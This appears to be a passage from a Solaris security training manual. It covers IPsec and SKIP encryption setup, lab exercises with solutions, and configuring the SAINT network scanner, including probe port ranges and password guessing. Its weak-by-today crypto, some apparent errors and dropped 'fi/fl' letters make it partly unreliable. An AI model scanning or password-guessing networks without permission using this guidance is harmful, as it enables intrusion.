If this le exists, the inet initialization script applies the IPsec security
policies during the startup process.
Note IPsec is enabled if the /etc/inet/ipsecinit.conf le does not
exist at system boot time.
Using the ipsecconf utility to Configure IPsec
The ipsecconf utility is a command line utility that sets the policy and
rules that apply to system-level IP trafc. Table 11-1 describes the
ipsecconf options.
Table 11-1 The IPsec Conguration File
Flag Option
None Queries the current conguration status. Entries
are shown with an index number.
-a file Adds one or more new policies listed in file to
the system.
-d index Deletes the policy identiedby the index number
from the system.
-f Flushes policies.
-l Provides a listing of the policy entries.
IPsec congurations are stored in the /etc/inet/ipsecpolicy.conf le.
The ipsecconf utility maintains this le with precedence rules. Do not
edit this le manually or you might alter the precedence of policies and
compromise the security of your system.
-n Displays the network addresses and their
associated ports. You must use the -n option
with the -l option.
-q Prevents the display of the warning and banner
messages (quiet mode).
Table 11-1 The IPsec Conguration File (Continued)
Flag Option
Syntax for the IPsec Configuration File
The IPsec conguration le syntax is:
{patterns} action {properties}
where:
pattern is a name value pair as shown in Table 11-2 on page 11-21
action a policy action, as shown in Table 11-3 on page 11-21
properties a policy property, as shown in Table 11-4 on page 11-22
Table 11-2 Denitions for IPsec Policy Patterns
Pattern Denition
saddr The source address for the datagram
being congured. A daddr entry is
required to complete the pair.
daddr The destination address of the pair.
smask Provides a source mask to allow
subnet addresses to be specied. Use
either hexadecimal (0xffff0000) or
internet dot (255.255.0.0) notation.
dmask Provides a destination mask using the
same notations as smask.
dport Species the destination port to be
controlled (for example telnet). After
the port is specied, a rule can be
applied.
Table 11-3 Denitions for IPsec Policy Actions
Action Denition
apply Applies IPsec to the datagram (valid
outbound only)
permit Permits the datagram if it matches the
constraints (inbound only)
bypass Bypasses any policy checks if the
datagram matches the pattern
Table 11-4 Denitions for IPsec Policy Properties
Property Denition
auth_algs
encr_auth_algs
The authentication algorithm. It
shouldbeMD5or HMAC-MD5, SHA1,
or HMAC-SHA1. Use ANY if there is
no preference for the authentication.
encr_algs Species the encryption algorithm to
use. Must be one of two possibilities:
DES, DES-CBC (for single pass DES),
or 3DES, 3DES-CBC (triple DES
encryption). Use NULL for no
encryption.
Rules for Parsing the Configuration File
When the le is loaded, each statement writes a separate policy to the
system. Policies are applied in the order in which they are found in the le
with the following exceptions:
G Bypass action always has the highest precedence.
G An ESP policy is stronger than an AH policy. When a policy denes
a stronger level of protection further in the le, the stronger policy
has higher precedence. The strongest rules contain ESP and AH
components.
To specify a policy with ESP and AH components, dene both auth_algs
(AH) and encr_algs (ESP) or encr_auth_algs (ESP) in the same policy.
Example IPsec Configurations
The hostB example in Code 11-5 species that any packet from hostA to
hostB should be encrypted with 3DES and authenticated with SHA1.
Code 11-5 Example IPsec Conguration to Encrypt and
Authenticate
1 #
2 # Encrypt data from hostA to hostB
3 #
4 {
5 saddr hostA
6 daddr hostB
7 }
8 permit
9 {
10 encr_algs 3DES
11 encr_auth_algs SHA1
12 }
Code 11-6 species that any trafc originating from the 134.56.0.0 network
be authenticated.
Code 11-6 Example IPsec Conguration to Authenticate All
Data From Network 134.56.0.0
1 #
2 # Authenticate 134.56.x.x
3 # Allow any authentication scheme
4 #
5 {
6 daddr 134.56.0.0 # Network address
7 dmask 0xffff0000
8 }
9 permit
10 {
11 auth_algs any
12 }
Code 11-7 species all trafc sent to hostB fromhostA be encrypted using
the DES encryption.
Code 11-7 Example IPsec Conguration to Encrypt Data
1 #
2 # Protect the outbound TCP traffic between machines
3 # using ESP and use DES algorithm.
4 #
5 {
6 saddr hostA
7 daddr hostB
8 ulp tcp # only TCP datagrams.
9 } apply {
10 encr_algs DES # Use DES to encrypt
11 SA shared # Use shared SA
12 }
Security Considerations With IPsec
The security of IPsec can be compromised if intruders have access to the
conguration le. Follow these guidelines to use IPsec securely:
G Do not transport the le in plain text over the network.
G Do not mount the le on an NFS le system.
G Ensure that the policies are in force before starting any
communication.
G Do not change policies in the middle of a communication.
G Names are not trustworthy if your naming system is compromised
and the host source address is known. Use the IP address instead.
G Use AH and ESP together to provide the highest level of security.
G If any host using IPsec is compromised, all IPsec congurations must
be regenerated.
G Impractical for large numbers of hosts: 10 hosts require 110 keys for
ESP alone.
Using the SunScreenSKIP Utility
Another utility available from the Solaris OE besides IPsec that you can
use effectively for network protocols is SKIP. SKIP is bundled with
SunScreen Secure Net 3.0 and SunScreen Lite; it can also be obtained
as a separate standalone product.
The SKIP utility builds an encrypted channel between two hosts, and
authenticates every network packet using an authentication algorithm. It
is especially useful between local hosts that are not located behind a
rewall. Administrators like using SunScreen SKIP because it is easy to
add and remove systems, and turn encryption and authentication off and
on without major network alterations.
SKIP runs a kernel process on each host that can be visualized as residing
between the network interface of the host system and the IP software
layer. SKIP intercepts data packets and performs encryption and
authentication in the transmission and reception processes, making the
packet unreadable to someone monitoring the devices.
Configuring the SKIP Utility
Install the SKIP cluster on each workstation that will use it. This cluster
consists of the following packages:
G SUNWbdc SKIP Bulk Data Crypt 1.5 Software
G SUNWbdcx SKIP Bulk Data Crypt (64-bit) 1.5 Software
G SUNWrc2 SKIP RC2 Crypto Module 1.5 Software
G SUNWrc4 SKIP RC4 Crypto Module 1.5 Software
G SUNWrc4x SKIP RC4 Crypto Module (64-bit) 1.5 Software
G SUNWes SKIP End System 1.5-FCS Software
G SUNWesx SKIP End System 1.5-FCS (64-bit) Software
G SUNWkeymg SKIP Key Manager Tools 1.5 Software
G SUNWkisup SKIP I-Support Module 1.5 Software
G SUNWsman SKIP I-Man page Module 1.5 Software
Before the network interface device can be modied for SKIP, you must
generate a unique key pair; two independent codes for every host that will
run SKIP on the network. This is done using the skiplocal command
with the keygen argument. This command prompts you to enter 50 or
more random characters as input to the program to ensure that the
algorithm generates a unique key pair.
Prior to using the SKIP Local ID database, you must initialize it under the
/etc/skip directory using:
# skiplocal -i
Code 11-8 shows an example SKIP key generation.
Code 11-8 Example SKIP Key Generation
# skiplocal -k
generating local secret with 512 modulus size
It would help the quality of the random numbers if you would
type 50-100 random keys on the keyboard. Hit return when
you are done. < 50 or more random keystrokes are entered here>
52 <
Format: Hashed Public Key (MD5)
Name/Hash: 5b 50 28 e7 7c ea 9b 13 06 dd 01 d3 59 89 7f 0d
Not valid Before: Mon Jun 22 18:00:00 1998
Not valid After: Sun Jun 22 18:00:00 2003
g: 2
p:
f52aff3ce1b1294018118d7c84a70a72d686c40319c807297aca950cd9969fabd00a509b0
2463083d66a45d419f9c7cbd894b221926baaba25ec355e92a055f
public key:
795195d7b0e80a357945f1d1c9c60bae8fb50ec64b84cb26554a81f149e7bbd672bd272a5
e6f4a1d9591f704f1b022ce873e790da5135c7cd02ed4c93a7322b
Added local identity slot 0
This example creates a unique key pair for this host. Repeat this process
on every host that will be running SKIP.
To list the existing key pairs, use the skiplocal command with the list
argument. The following text indicates that a single key pair was
generated. There would be an additional listing if there were more than
one device with a SKIP key pair.
# skiplocal -l
Local ID Slot Name: 0 Type: Software Slot
NSID: 8 MKID (name): 5b5028e77cea9b1306dd01d359897f0d
Not Valid Before: Mon Jun 22 18:00:00 1998
Not Valid After: Sun Jun 22 18:00:00 2003
Modulus size: 512 bits
When you have a key pair dened and can list it using the skiplocal
list command, you must update the system with the skipif -a
command and boot the system. This must be done on all systems running
SKIP.
# skipif -a
# init 6
Before rebooting, you should save the current ACL, otherwise its setting is
not preserved across the reboots. Use the skipif command with the -s
ag to save the SKIP status.
# skipif -s
Working With SKIP
After the system has been rebooted, you build the encrypted channel. This
requires the exchange of keys between the two hosts so that the channel is
built between them. The skiplocal export command outputs the key
in a format that is perfect for either cutting and pasting to the command
line, or for sending to another user using email. One of the easiest ways to
do this on a single terminal is to log in remotely from one host to another,
and cut and paste the key from one window to another. Code 11-9 shown
how to list a ship key.
Code 11-9 Listing a SKIP Key
# skiplocal -x
skiphost -a grommit -R 0x9864c2c14ed58510173da60b52739b59 -r 8 -s 8 -k
des-cbc -t rc2-40 -m md5
The output from the skiplocal -x command can be cut and pasted into
a shell window on the remote host, as shown in Code 11-10.
Code 11-10 Setting a SKIP Key (From Another Host)
# skiphost -a grommit -R 0x9864c2c14ed58510173da60b52739b59 -r 8 -s 8 -k
des-cbc -t rc2-40 -m md5
Adding metz: SKIP params:
IP mode: tunneling
Tunnel address: grommit
Kij alg: DES-CBC
Crypt alg: RC2-40
MAC alg: MD5
Receiver NSID: MD5 (DH Pub.Value)
Receiver key id: 0x9864c2c14ed58510173da60b52739b59
Sender NSID: MD5 (DH Pub.Value)
...done.
When the keys have been exchanged, both hosts must enable SKIP to
communicate. To enable SKIP for encrypted transmission, use the
skiphost command with a -o option, followed by the on ag, as shown
in Code 11-11 on page 11-31.
Code 11-11 Enabling SKIP for Encrypted Transmissions
# skiphost -o on
hme0: access control enabled, only authorized SKIP hosts can connect
grommit: SKIP params:
IP mode: tunneling
Tunnel address: grommit
Kij alg: DES-CBC
Crypt alg: RC2-40
MAC alg: MD5
Receiver NSID: MD5 (DH Pub.Value)
Receiver key id: 0x8a4d51e02683c8952c1c5693d9b32596
Sender NSID: MD5 (DH Pub.Value)
Sender key id: 0x9864c2c14ed58510173da60b52739b59
To disable SKIP use:
# skiphost -o off
Using Clear Text
You might not want to always use encrypted communications with every
system; for example, DNS and mail servers. The clear text entry enables
all hosts to communicate with clear text unless otherwise specied.
# skiphost -a default
Exercise: Configuring and Using IPsec
Exercise: Conguring and Using IPsec
G Congure IPsec for TCP communications between two hosts
G Restrict access to authenticated hosts
Preparation
You must install the Solaris OE security enhancements for cryptography
before using IPsec. This is described in the rst task of these exercises.
Tasks
For the purposes of this exercise you will work in pairs to congure
encryption between your workstation and your partners workstation.
Next, you will congure IPsec to authenticate connections from your
partners workstation.
Ensure that you know the IP address of your workstation and your
partners workstation. For convenience, the tasks refer to hosts A and B:
make sure that you agree as to whose workstation is hostA and whose is
hostB before you start the tasks.
You are not required to nish all of the tasks in the time allocated.
Complete the nal task and ush the IPsec congurations and keys from
the system or reboot the system. Your instructor will give you time to do
this.
Caution Remove the IPsec conguration as described in the last task
when you have nished. If you do not disable IPsec it will prevent you
from completing the other tasks in this course.
Task Configuring IPsec
Before using IPsec, you must install some of the Sun Security
enhancements packages. These can be downloaded from the Sun Web site
shown in Additional Resources on page 11-3. For your convenience, a
copy of the security enhancements has been placed in the
/usr/local/pkg/Sol8_encryption_sparc.tar directory.
To congure IPsec, install the Sun Cryptography packages and create an
empty IPsec conguration le in the /etc/inet directory:
1. Extract the contents of this archive to the temporary directory and
then install the following packages from the /tmp/sparc/Packages
subdirectory:
G SUNWcry
G SUNWcry64
G SUNWcryr
G SUNWcryrx
2. Create an empty le called /etc/inet/ipsecinit.conf which
enables the IPsec conguration:
# touch /etc/inet/ipsecinit.conf
3. Reboot the system to enable IPsec:
# init 6
Task Configuring IPsec Encryption
In this task, you congure IPsec encryption on two workstations and use
it to communicate using the telnet command. Working with a colleague,
you share encryption keys and work together to implement the steps in
the correct order on the two systems. If you have any confusion, discuss
this with your instructor:
1. Run ipsecconf with no command line options. You should see no
output. If you see an error message you have not enabled IPsec as
described in Task Conguring IPsec. If you see any output, type
the following commands to remove any IPsec congurations on your
system.
# ipseckey flush
# ipsecconf -f
2. With your partner, agree on 2 spi numbers: one for each direction of
communication between your two workstations. Your spi numbers
must not have already been used in your IPsec key conguration
and must be different from each other. Write your numbers down
here:
spi1 hostA to hostB: _______________________
spi2 hostB to hostA: _______________________
3. Choose two, 16digit numbers to use as keys for the DES encryption.
Any value can be used. Write the encryption keys down here:
DES key1 hostA: _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
DES key2 hostB: _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
4. Edit a new le called /etc/inet/esp.keys and add the following
lines. Both workstations use identical key les:
add esp spi spi1 src hostA dst hostB \
encralg des encrkey key1
add esp spi spi2 src hostB dst hostA \
encralg des encrkey key2
5. Add the IPsec keys on your machine with:
# ipseckey -f /etc/inet/esp.keys
6. Create a new conguration le called /etc/inet/esp.conf
containing the following lines. Each workstation needs a different
conguration le. Replace the values hostA and hostB with the
appropriate IP addresses of your workstations.
{saddr thisHost daddr otherHost ulp tcp} apply {encr_algs DES sa shared}
{saddr otherHost daddr thisHost ulp tcp} permit {encr_algs DES}
7. Add these conguration rules with:
# ipsecconf -a /etc/inet/esp.conf
8. Start the snoop utility in a separate window to monitor trafc
between your two hosts, and use the -v option so that you can see
the snoop utility detect the encrypted datagrams:
# snoop -v hostA and hostB
9. Use the telnet command to verify that you can still communicate
between your hosts with the IPsec policy installed and that the data
packets are now encrypted.
10. Verify that you can use the telnet command to log in to another
workstation (such as the instructors) and that this communication is
unencrypted.
Task Configuring IPsec Authentication
In this task, you congure IPsec authentication on your system and use it
to communicate with a colleague using the telnet command:
1. With your partner, agree on 2 spi numbers: one for each direction of
communication between your two workstations. Your spi numbers
must not have already been used in your IPsec key conguration
and must be different from each other. Write your numbers down
here:
spi3 hostA to hostB: _______________________
spi4 hostB to hostA: _______________________
2. Choose two, 32digit numbers to use as keys for the MD5
authentication. Any value can be used. Write the authentication keys
down here:
MD5 key3 hostA: _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
MD5 key4 hostB: _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
3. Edit a new le called /etc/inet/ah.keys and add the following
lines. Both workstations use identical key les:
add ah spi spi3 src hostA dst hostB \
authalg md5 authkey key3
add ah spi spi4 src hostB dst hostA \
authalg md5 authkey key4
4. Add the IPsec keys on your machine with:
# ipseckey -f /etc/inet/ah.keys
5. Create a new conguration le called /etc/inet/ah.conf
containing the following lines. Each workstation needs a different
conguration le. Replace the values thisHost and otherHost with
the appropriate IP addresses of your workstations.
{saddr thisHost daddr otherHost} apply {auth_algs any sa shared}
{saddr otherHost daddr thisHost} permit {auth_algs any}
6. Add these conguration rules with:
# ipsecconf -a /etc/inet/ah.conf
7. If the snoop utility is not running from the previous task, start the
snoop utility in a separate window to monitor trafc between your
two hosts, and use the -v option so that you can see the snoop utility
detect the encrypted datagrams:
# snoop -v net hostA and net hostB
8. Use the telnet command to verify that you can still communicate
between your hosts with the IPsec authentication policy installed.
You should see that the packets are authenticated in the snoop
output window.
9. Verify that you can use the telnet command to log in to another
workstation (such as the instructors) and that this communication is
unauthenticated.
Task Authenticating All Hosts With IPsec
Congure IPsec to allow only specic hosts to communicate with your
workstation:
1. Examine the IPsec authentication conguration you have set up.
How would you change the authentication rules to only allow
authenticated hosts to communicate with your host (for example, bar
all non-authenticated hosts).
2. Create a new conguration le and test your ideas. You must remove
the existing conguration with:
# ipsecconf -f
Task Using IPsec AH and ESP With All Hosts
If you completed the previous task, consider how you would extend your
solution to encrypt as well as authorize all host communication. You must
remove the existing conguration with:
# ipsecconf -f
Task Removing IPsec
Remove the IPsec conguration so that it does not interfere with the
exercises in future modules of this course, as follows:
1. When you have nished these tasks, make sure that you remove all
IPsec keys and conguration rules using:
# ipseckey flush
# ipsecconf -f
2. Optionally, you can remove the IPsec initialization le and reboot
your workstation:
# rm /etc/inet/ipsecinit.conf
# init 6
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following are the solutions for the tasks dened in the preceding
section.
Because most of the task steps are actually instructions, solutions are only
given below where an explicit question has been asked. If you have
questions about any of the other steps, consult the instructor.
Configuring IPsec
Before using IPsec you must install some of the Sun Security
enhancements packages. These can be downloaded from the Sun Web site
shown in Additional Resources on page 11-3. For your convenience a
copy of the security enhancements have been placed in the
/usr/local/pkg/Sol8_encryption_sparc.tar directory.
1. Extract the contents of this archive to the temporary directory and
then install the following packages from the /tmp/sparc/Packages
subdirectory:
G SUNWcry
G SUNWcry64
G SUNWcryr
G SUNWcryrx
# cd /tmp
# tar xvf /usr/local/pkg/Sol8_encryption_sparc.tar
# cd sparc/Packages
# pkgadd -d SUNWcry
# pkgadd -d SUNWcry64
# pkgadd -d SUNWcryr
# pkgadd -d SUNWcryrx
2. Create an empty le called /etc/inet/ipsecinit.conf which
enables the IPsec conguration.
# touch /etc/inet/ipsecinit.conf
3. Reboot the system to enable IPsec:
# init 6
Exercise Solutions
Configuring IPsec Encryption
1. Your conguration les should look something like the following
(assuming the host IP addresses are 192.168.0.1 and 192.168.0.2).
# cat /etc/inet/esp.keys
add esp spi 20 src 192.168.0.1 dst 192.168.0.2 \
encralg des encrkey 1234567890123456
add esp spi 21 src 192.168.0.2 dst 192.168.0.1 \
encralg des encrkey 6543210987654321
#
# cat /etc/inet/esp.conf
{saddr 192.168.0.1 daddr 192.168.0.2} apply {encr_algs any sa shared}
{saddr 192.168.0.2 daddr 192.168.0.1} permit {encr_algs any}
Configuring IPsec Authentication
Your conguration les should look something like the following
(assuming the host IP addresses are 192.168.0.1 and 192.168.0.2).
# cat /etc/inet/ah.keys
add ah spi 22 src 192.168.0.1 dst 192.168.0.2 \
authalg des authkey 12345678901234567892123456789312
add ah spi 23 src 192.168.0.2 dst 192.168.0.1 \
authalg des authkey 21398765432129876543210987654321
#
# cat /etc/inet/ah.conf
{saddr 192.168.0.1 daddr 192.168.0.2} apply {auth_algs any sa shared}
{saddr 192.168.0.2 daddr 192.168.0.1} permit {auth_algs any}
Authenticating All Hosts With IPsec
1. Examine the IPsec authentication conguration you have set up.
How would you change the authentication rules to only allow
authenticated hosts to communicate with your host (for example, bar
all non-authenticated hosts).
2. Create a new conguration le and test your ideas.
Exercise Solutions
3. Edit the AH conguration rules to remove the references to the other
workstation; remove the daddr option from the apply lne and the
saddr option from the permit line. All incoming and outgoing
communication will be authenticated. No access to unauthenticated
hosts is allowed. You can test this by trying to use the telnet
command to log in to another workstation such as the instructors
machine. The Telnet session will not connect and will eventually
time-out.
Your IPsec conguration le will look like:
# cat /etc/inet/all.conf
{saddr 192.168.0.1} apply {auth_algs any sa shared}
{daddr 192.168.0.1} permit {auth_algs any}
Using IPsec AH and ESP With All Hosts
1. If you completed the previous task consider how you would extend
your solution to encrypt as well as authorize all host communication.
2. Add an encryption rule to your conguration le so that it looks
something like:
# cat /etc/inet/all.conf
{saddr 192.168.0.1} apply {auth_algs any encr_algs any sa shared}
{daddr 192.168.0.1} permit {auth_algs any encr_algs any}
Removing IPsec
There are no solutions for this task.
12-1
Module 12
AnalyzingNetworkServices
Objectives
G Apply Security Administrators Integrated Network Tool (SAINT) to
improve network security
G Install SAINT and launch probes using the SAINT graphical user
interface
G Congure SAINT using the conguration le
G Interpret SAINT reports
G Use the Courtney scanning tool to detect SAINT-type attacks
Relevance
Relevance
?
!
Discussion System administration of network services is a complex
task. It is easy to inadvertently leave security holes when changing
network configurations. Network service probes such as SAINT can
identify security holes.
G Given that SAINT was originally a hacker tool, how safe is it to use
it on a production network?
G Is it better to use a prewritten tool like SAINT or to write an
analytical suite of tools tailored to your own network?
Analyzing Network Services 12-3
G Solaris OE manual pages.
G Comparison article of the capabilities of various scanners, Network
Computing online at
[http://www.networkcomputing.com/1201/1201f1b1.html]
G SAINT online documentation, available at
[http://www.wwdsi.com/saint/saint_documentation_2.html]
Tool Downloads
G SAINT:
[http://www.wwdsi.com/saint/]
G Courtney:
[http://ciac.llnl.gov/ciac/
ToolsUnixNetMon.html#Courtney]
G openssl for Solaris OE required by tcpdump:
G libpcap for Solaris OE required by tcpdump:
G tcpdump for Solaris OE required by SAINT:
Applying SAINT to Improve Network Security
Tools are available to probe system network services and to determine
whether these services are congured in a secure way. You can use various
tools to analyze different aspects of the network. The most complete tool is
called the Security Administrator's Integrated Network Tool (SAINT).
SAINT is the second generation version of the System Administrators Tool
for Analyzing Networks (SATAN) network probe andhas beenwidely used
by intruders to detect weaknesses in network congurations. SAINT can
be a very effective tool for the administrator.
SAINT consists of a suite of Perl modules that provide an interface into a
Web browser. The tool has the low-level capabilities of Perl combined with
an easy-to-use, thin client interface. In fact, SAINT is so easy to use that it
can be a real menace in the hands of external parties wanting to probe a
network for weaknesses.
Caution Virtually all Internet Service Providers (ISPs), and many public
networks, absolutely prohibit the use of any network probes or other
analytical utilities without prior written permission. Punishment for
infringement are stringent (usually a permanent removal of access
privileges). Before using SAINT, ensure that you have documented
permission to analyze the targeted network.
Assessing the Capabilities of SAINT
SAINT operates by running standard Solaris OE utilities (called probes) in
certain, predened ways. The information SAINT obtains is then logged
to a datastore and displayed in the form of SAINT reports. All of this
could be done manually, but SAINTs advantage is that it is automatic
and predened. Because SAINT is a next generation tool, it offers
signicant advantages to SATANs user interface, but still shares the
primary aim, which is to detect potential security aws (usually
incorrectly set up or congured services). Because SAINT discovers
security aws in the target systems, it can also nd systems attached to
the target. These systems can also be probed and an entire network
analyzed.
Certain security problems are well-known and documented. That means
that these security problems can be specically looked for in the target
system. These reports from SAINT are especially useful.
SAINTs strength is that the information gathered can be reported in
HTML format. In addition, a number of add-in tools can obtain additional
value from SAINT output. Some of these tools are freeware, while others
are commercial products. SAINT can then use these tools to report on this
data or use a simple rule-based system to investigate any potential
security problems.
While SAINT is primarily designed for analyzing the security implications
of the results, you can also obtain lots of general network information
when using the tool including network topology, network services, and
types of hardware and software being used on the network.
Comparing SAINT and SATAN
SATAN is a earlier generation tool. Like SAINT, SATAN can examine
network services such as finger, Network File Service (NFS), Network
Information Service (NIS+), ftp, tftp, and rexecd.
SATAN was written by Dan Farmer and Wietse Venema. It gained a
reputation as a hacking tool, partly because of the offensive name. Later,
SATANbecame respectable. To mitigate some of the uproar surrounding
its name, a repent script was created that would rename the tool to
SANTA (Security Analysis Network Tool for Administrators), while
retaining the functionality.
SAINT is more advanced and has much better reporting than SATAN.
Installing and Using SAINT
SAINT requires you to install the tcpdump utility on the system using
SAINT. The tcpdump utility can be downloaded from the Sun Freeware
site at http://www.sunfreeware.com.
You can obtain SAINT by downloading the source or binaries at World
Wide Digital Security Inc.:
http://www.wwdsi.com/saint/.
Follow these steps to install SAINT:
1. Download the latest version of SAINT (normally a zipped TAR
archive).
2. Unzip the le and extract the archive (the archive contains a
subdirectory named after the version of SAINT).
3. Read the instructions in the README le in the SAINT subdirectory.
With version 3.2 of SAINT, you must run the following commands
from the SAINT directory:
# ./configure
# make
# make install
This builds the SAINT executable in the current directory.
Note SAINT supports two different procedures for conguring and
compiling the software. The newer procedure uses the configure script.
The older method uses the makefile utility. However, the makefile
utility is less convenient and is not presented here.
Understanding How SAINT Works
SAINT runs standard components which probe a system to see if it is
vulnerable to certain types of attack. A conguration le can precongure
SAINT. You can change the options at run-time using the Web interface,
as presented in Installing and Using SAINT on page 12-8, but the
application settings are managed by a Perl conguration le.
SAINT denes what it detects as attacks. However, these should more
properly be called analyses because they do not actually attack anything.
You can congure the way in which the analysis is made, the scope (how
wide an analysis is made), and the attack level.
Warning Certain SAINT options are dangerous and can cause major
network problems. Do not change any congurations unless you are sure
of what you are changing.
Using the SAINT Graphical User Interface
SAINT has an easy-to-use graphical user interface (GUI). The SAINT
engine reads the conguration le (described in Conguring SAINT on
page 12-21) to provide default values, but these can be changed at run-
time through the SAINT Control Panel. The SAINT Control Panel leads
you through a sequence of steps to ensure that SAINT has the required
information before it begins probing. Default information is based on the
saint.cf le.
On startup, SAINT presents a menu form in your default browser as
shown in Figure 12-1.
Figure 12-1 SAINT Startup Screen
Use the images on the left side of the form to congure various aspects of
SAINT. The options are:
SAINT home Selects the startup screen
Data
Management
Selects the SAINT database for storing data
Target Selection Selects the hosts which will be analyzed
Data Analysis Displays the results of running the SAINT
analysis
Configuration
Management
Selects the attack level and other parameters
Documentation Provides HTML documentation for
conguring and using SAINT
Defining SAINT Data Management
SAINT obtains considerable amounts of data from the network it is
probing. The SAINT database stores this data so that it can be analyzed.
You can dene which le is used as shown in Figure 12-2.
Figure 12-2 Dening Where the Data Obtained by SAINT Is
Stored
Trouble
shooting
Provides help with common SAINT problems
Setting SAINT Target Selection
Host names can be entered directly or, in the case of multiple hosts, from
a prewritten conguration le, as shown in Figure 12-3.
Figure 12-3 Entering the Names of Hosts to Probe
Defining the Level of Attack
The level of attack governs how many and what type of probes are used
against a host. Conguring SAINT on page 12-21 describes detailed
information on attack levels. You can set the attack level in the GUI as
Microsoft Windows NT machines have certain special scans associated
with them because Microsoft Windows NT makes shared ports available
as part of its networking strategy. This strategy makes such machines
especially vulnerable to attack.
Figure 12-4 Setting the Scanning Level
Allowing for Firewalls
SAINT must know if there is a rewall, because rewalls block certain
packets. If SAINT does not know about the rewall then any machines
hidden behind the rewall are invisible. You can indicate whether the host
you are scanning is behind a rewall, as shown in Figure 12-5.
Figure 12-5 Allowing for Firewalls
When you have reached the screen shown in Figure 12-5, you can begin a
scan.
Running a SAINT Scan
To run a scan, click Start the Scan on the Target Selection screen. See
Figure 12-5 on page 12-17 for a detailed view. This button initiates the
scan, which takes less than a minute for a light scan of a single host. A
heavy scan of a host takes several minutes, and more intensive scans
involving several hosts take much longer.
The rst time SAINT runs, a warning screen appears as shown in
Figure 12-6 on page 12-18.
Figure 12-6 SAINT Warning Message
Click on the browser Reload Page icon to start the vulnerability scan.
A status screen tracks the scan as it progresses. When the scan is
complete, the screen displays options for viewing the results of the scan as
Figure 12-7 SAINT Scan Complete
The SAINT data results page summarizes the results of the scan as shown
in Figure 12-8.
Figure 12-8 SAINT Data Analysis Results
Configuring SAINT
Conguring SAINT
The central conguration of SAINT is based on the saint.cf le. The le
is a Perl module which is loaded and interpreted when the SAINT system
initializes. The le is divided into a number of sections, each controlling
an aspect of the attacks to make.
The following rules help you to understand the le:
1. Lines starting with # are comments and are ignored.
2. Important lines have comments by them. Always read the comment.
Remember versions of software and meanings can change.
3. A value of 0 (zero) or null ("") usually means FALSE.
4. A value of 1 usually means TRUE.
The rest of this section discusses some of the more important features of
the conguration le.
Configuring SAINT
Setting the Attack Level
The attack level denes the extent to which SAINT attempts to inltrate the
target system (in other words, the exact level of the analysis to be carried
out). The default is set to light (attack level 1). Light attacks are simple,
quick, and largely non-intrusive. Because they are non-intrusive, they can
be difcult to detect. They also provide less information than other
attacks. Heavy attacks (level 2) are slow but gather more information. They
are also fairly easy to detect after the attack has been made. Most
intruders using SAINT start a probe using a light attack then move to a
higher level if they believe that the initial attack was undetected.
Any attack level greater than 2 can be dangerous. Attack levels greater
than 2 can be so detailed, with such long time-outs, that the targeted
system can crash.
Configuring SAINT
Level 4 is a special attack level. This is not heavier than level 3, but
instead it deliberately analyzes a system to detect vulnerabilities on the
System Administration, Networking, and Security (SANS) list of the 10
most critical internet security threats (see
http://www.sans.org/topten.htm). Level 4 is potentially the most
useful analysis because it can be run repeatedly against a system to detect
if changes have been made that render the system open to a casual attack.
The attack level is determined by the setting of the $attack_level
variable, as follows:
# Default attack level (0=light, 1=normal, 2=heavy,
# 3=heavy+, 4=top10, 5=custom)
$attack_level = 0;
Configuring Probes by Attack Level
Each attack uses certain probes. Probes are the modules which run each
attack. While the $attack_level variable determines which probes are
run against a target to build the attack, you can change the probes which
are run within that level. This means that the attacks are not xed but can
be recongured. However, you cannot congure all probes to run. If a
probe has a question mark (?) appended to its name, it runs conditionally.
This means that if the service for which the probe is designed is not
running, then the probe does not run (for example, if the target machine is
not running the NFS service, then the NFS probe does not run).
The probes are listed in the Probes by attack level section of the
conguration le, as shown in Code 12-1.
Code 12-1 Probes by Attack Level
13 # Probes by attack level.
14 #
15 # ? Means conditional, controlled by rules.todo.
16 # * Matches anything.
17 @light = (
18 'dns.saint',
19 'ostype.saint',
20 'rpc.saint',
21 'showmount.saint?',
22 );
23
24 @normal = (
25 @light,
Configuring SAINT
26 'finger.saint',
27 'tcpscan.saint 70,80,ftp,telnet,smtp,nntp,uucp,6000',
28 'udpscan.saint 53,177',
29 'rusers.saint?',
30 'boot.saint?',
31 'yp-chk.saint?',
32 );
33
34 @heavy= (
35 @light,
36 'finger.saint',
37 'rusers.saint?',
38 'boot.saint?',
39 'yp-chk.saint?',
40 $heavy_tcp_scan = 'tcpscan.saint 16660,27665, 65000,1-
1525,1527-9999',
41 $heavy_udp_scan = 'udpscan.saint 27444,31335, 1-1760,1763-
2050,32767-33500',
42 '*?',
43 );
In the @heavy scan section beginning on Line 34 there is an entry (on
Line 42) marked *?. That entry means that all probes not explicitly loaded
by the script are conditionally loaded.
Configuring SAINT
Setting the Level of Password Guessing
SAINT can test the suitability of various passwords on the system. That is,
it can detect the following unsuitable entries:
G A null password
G A password which is the same as a login name
G The word password
G The login name spelled backwards
G The login name followed by the digit 1
The password guessing section of the conguration le is shown in
Code 12-2 on page 12-26.
Configuring SAINT
Code 12-2 Password Guessing
1 # Number of passwords to guess for each account
2 # identified by rusers or finger. Greater than 2
3 # will lock out accounts on some systems.
4 # 0 disables password guessing.
5 $password_guesses = 2;
Caution Some systems lock out accounts if the number of password
guesses exceeds a preset number (usually 3). If this is the case with your
system, set $password_guesses lower than the lock out value or SAINT
causes user lockouts.
Configuring SAINT
Setting Time-Outs
You might need to specify a time-out for certain probes. Time-outs
prevent probes from unnecessarily locking up system resources or
crashing the system when the probe fails to obtain a response from the
target system. Time-outs are managed by a section in the conguration
le. To specify time-outs:
1. Specify the general (implicit) time-out to be used this way:
# which timeout to use (0=short, 1=med, 2=long)
$timeout = 1;
2. Specify an explicit time-out by using lines designated to specic
services:
$nfs_chk_timeout = $long_timeout;
$snmp_timeout = 120;
Configuring SAINT
Determining Values for Proximity Variables
Proximity variables refer to how close the current target is from the original
SAINT probe target.
Note Proximity variables are the most important conguration variables
in the SAINT system. Setting a state to more than 3 can cause multiple
problems in terms of limiting the extent of the attack, network trafc
generated, and log information generated.
Configuring SAINT
When you determine the required proximity level, use the value of 0 to
indicate the initial target host. Machines adjacent to the target host have a
value of 1. Machines adjacent to those hosts have a value of 2, and so on.
Therefore, if the attack level is set to 1, then the target host and any hosts
